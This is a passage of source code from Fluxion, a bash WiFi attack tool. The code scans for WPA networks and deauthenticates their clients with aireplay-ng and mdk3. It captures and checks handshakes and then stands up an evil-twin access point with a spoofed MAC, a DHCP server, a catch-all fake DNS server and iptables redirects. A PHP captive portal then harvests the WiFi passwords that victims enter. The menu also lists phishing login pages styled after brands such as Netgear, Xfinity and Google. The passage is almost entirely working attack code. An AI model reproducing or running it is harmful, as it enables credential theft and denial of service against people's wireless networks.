$scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? 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then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c 